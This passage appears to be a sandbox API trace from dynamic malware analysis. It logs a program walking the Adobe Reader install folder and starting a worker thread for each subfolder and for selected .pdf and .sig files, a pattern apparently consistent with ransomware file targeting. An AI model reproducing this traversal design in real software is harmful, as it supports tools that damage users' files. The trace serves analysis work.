	[0077.985] wcscmp (_String1="ccme_asym.dll", _String2=".") returned 1
	[0077.985] wcscmp (_String1="ccme_asym.dll", _String2="..") returned 1
	[0077.985] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a3b8a6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x62c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1
	[0077.985] wcscmp (_String1="ccme_base.dll", _String2=".") returned 1
	[0077.985] wcscmp (_String1="ccme_base.dll", _String2="..") returned 1
	[0077.985] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb1160cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base_non_fips.dll", cAlternateFileName="CCME_B~2.DLL")) returned 1
	[0077.985] wcscmp (_String1="ccme_base_non_fips.dll", _String2=".") returned 1
	[0077.985] wcscmp (_String1="ccme_base_non_fips.dll", _String2="..") returned 1
	[0077.985] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecb0d47, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_ecc.dll", cAlternateFileName="")) returned 1
	[0077.985] wcscmp (_String1="ccme_ecc.dll", _String2=".") returned 1
	[0077.985] wcscmp (_String1="ccme_ecc.dll", _String2="..") returned 1
	[0077.985] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Click on 'Change' to select default PDF handler.pdf", cAlternateFileName="CLICKO~1.PDF")) returned 1
	[0077.985] wcscmp (_String1="Click on 'Change' to select default PDF handler.pdf", _String2=".") returned 1
	[0077.985] wcscmp (_String1="Click on 'Change' to select default PDF handler.pdf", _String2="..") returned 1
	[0077.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477f7d0
	[0077.985] wcscpy (in: _Dest=0x477f7d0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.985] wcscat (in: _Dest=0x477f7d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.985] wcscat (in: _Dest=0x477f7d0, _Source="Click on 'Change' to select default PDF handler.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf"
	[0077.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0077.986] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9352cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2cabf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1
	[0077.986] wcscmp (_String1="CoolType.dll", _String2=".") returned 1
	[0077.986] wcscmp (_String1="CoolType.dll", _String2="..") returned 1
	[0077.986] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1
	[0077.986] wcscmp (_String1="cryptocme.dll", _String2=".") returned 1
	[0077.986] wcscmp (_String1="cryptocme.dll", _String2="..") returned 1
	[0077.986] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb74, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1
	[0077.986] wcscmp (_String1="cryptocme.sig", _String2=".") returned 1
	[0077.986] wcscmp (_String1="cryptocme.sig", _String2="..") returned 1
	[0077.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476df18
	[0077.986] wcscpy (in: _Dest=0x476df18, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.986] wcscat (in: _Dest=0x476df18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.986] wcscat (in: _Dest=0x476df18, _Source="cryptocme.sig" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig"
	[0077.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476df18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0077.987] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda97c8cb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1fff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectInk.dll", cAlternateFileName="DIRECT~1.DLL")) returned 1
	[0077.987] wcscmp (_String1="DirectInk.dll", _String2=".") returned 1
	[0077.987] wcscmp (_String1="DirectInk.dll", _String2="..") returned 1
	[0077.987] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x15050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1
	[0077.987] wcscmp (_String1="Eula.exe", _String2=".") returned 1
	[0077.987] wcscmp (_String1="Eula.exe", _String2="..") returned 1
	[0077.987] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37c828ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa1aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1
	[0077.987] wcscmp (_String1="ExtendScript.dll", _String2=".") returned 1
	[0077.987] wcscmp (_String1="ExtendScript.dll", _String2="..") returned 1
	[0077.987] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b2b330, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1
	[0077.987] wcscmp (_String1="icucnv40.dll", _String2=".") returned 1
	[0077.987] wcscmp (_String1="icucnv40.dll", _String2="..") returned 1
	[0077.987] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b51580, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1
	[0077.987] wcscmp (_String1="icudt40.dll", _String2=".") returned 1
	[0077.987] wcscmp (_String1="icudt40.dll", _String2="..") returned 1
	[0077.987] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1
	[0077.987] wcscmp (_String1="IDTemplates", _String2=".") returned 1
	[0077.987] wcscmp (_String1="IDTemplates", _String2="..") returned 1
	[0077.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e398
	[0077.987] wcscpy (in: _Dest=0x476e398, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.987] wcscat (in: _Dest=0x476e398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.987] wcscat (in: _Dest=0x476e398, _Source="IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates"
	[0077.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476e398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664
	[0077.988] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1
	[0077.988] wcscmp (_String1="Javascripts", _String2=".") returned 1
	[0077.988] wcscmp (_String1="Javascripts", _String2="..") returned 1
	[0077.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476db28
	[0077.988] wcscpy (in: _Dest=0x476db28, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.988] wcscat (in: _Dest=0x476db28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.988] wcscat (in: _Dest=0x476db28, _Source="Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts"
	[0077.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476db28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8
	[0077.989] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1
	[0077.989] wcscmp (_String1="JP2KLib.dll", _String2=".") returned 1
	[0077.989] wcscmp (_String1="JP2KLib.dll", _String2="..") returned 1
	[0077.989] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1
	[0077.989] wcscmp (_String1="Legal", _String2=".") returned 1
	[0077.989] wcscmp (_String1="Legal", _String2="..") returned 1
	[0077.989] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc510
	[0077.989] wcscpy (in: _Dest=0x47bc510, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.989] wcscat (in: _Dest=0x47bc510, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.989] wcscat (in: _Dest=0x47bc510, _Source="Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal"
	[0077.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bc510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac
	[0077.990] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1
	[0077.990] wcscmp (_String1="Locale", _String2=".") returned 1
	[0077.990] wcscmp (_String1="Locale", _String2="..") returned 1
	[0077.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498df88
	[0077.990] wcscpy (in: _Dest=0x498df88, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.990] wcscat (in: _Dest=0x498df88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.990] wcscat (in: _Dest=0x498df88, _Source="Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale"
	[0077.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498df88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0
	[0077.991] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1
	[0077.991] wcscmp (_String1="logsession.dll", _String2=".") returned 1
	[0077.991] wcscmp (_String1="logsession.dll", _String2="..") returned 1
	[0077.991] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x56650, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1
	[0077.991] wcscmp (_String1="LogTransport2.exe", _String2=".") returned 1
	[0077.991] wcscmp (_String1="LogTransport2.exe", _String2="..") returned 1
	[0077.991] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38a84970, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xba2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1
	[0077.991] wcscmp (_String1="Onix32.dll", _String2=".") returned 1
	[0077.991] wcscmp (_String1="Onix32.dll", _String2="..") returned 1
	[0077.991] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1
	[0077.991] wcscmp (_String1="PDFPrevHndlr.dll", _String2=".") returned 1
	[0077.991] wcscmp (_String1="PDFPrevHndlr.dll", _String2="..") returned 1
	[0077.991] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1
	[0077.991] wcscmp (_String1="PDFSigQFormalRep.pdf", _String2=".") returned 1
	[0077.991] wcscmp (_String1="PDFSigQFormalRep.pdf", _String2="..") returned 1
	[0077.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2b1b8
	[0077.991] wcscpy (in: _Dest=0x2e2b1b8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.992] wcscat (in: _Dest=0x2e2b1b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.992] wcscat (in: _Dest=0x2e2b1b8, _Source="PDFSigQFormalRep.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf"
	[0077.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2b1b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4
	[0077.992] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x168ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1
	[0077.992] wcscmp (_String1="pe.dll", _String2=".") returned 1
	[0077.992] wcscmp (_String1="pe.dll", _String2="..") returned 1
	[0077.992] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1
	[0077.992] wcscmp (_String1="plug_ins", _String2=".") returned 1
	[0077.992] wcscmp (_String1="plug_ins", _String2="..") returned 1
	[0077.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498dce0
	[0077.993] wcscpy (in: _Dest=0x498dce0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.993] wcscat (in: _Dest=0x498dce0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
	[0077.993] wcscat (in: _Dest=0x498dce0, _Source="plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0077.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498dce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8
	[0077.993] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x4747e20 | out: lpFindFileData=0x4747e20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1
	[0077.993] wcscmp (_String1="plug_ins3d", _String2=".") returned 1
	[0077.993] wcscmp (_String1="plug_ins3d", _String2="..") returned 1
	[0077.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476d8e8
	[0077.994] wcscpy (in: _Dest=0x476d8e8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.994] wcscat (in: _Dest=0x476d8e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\"
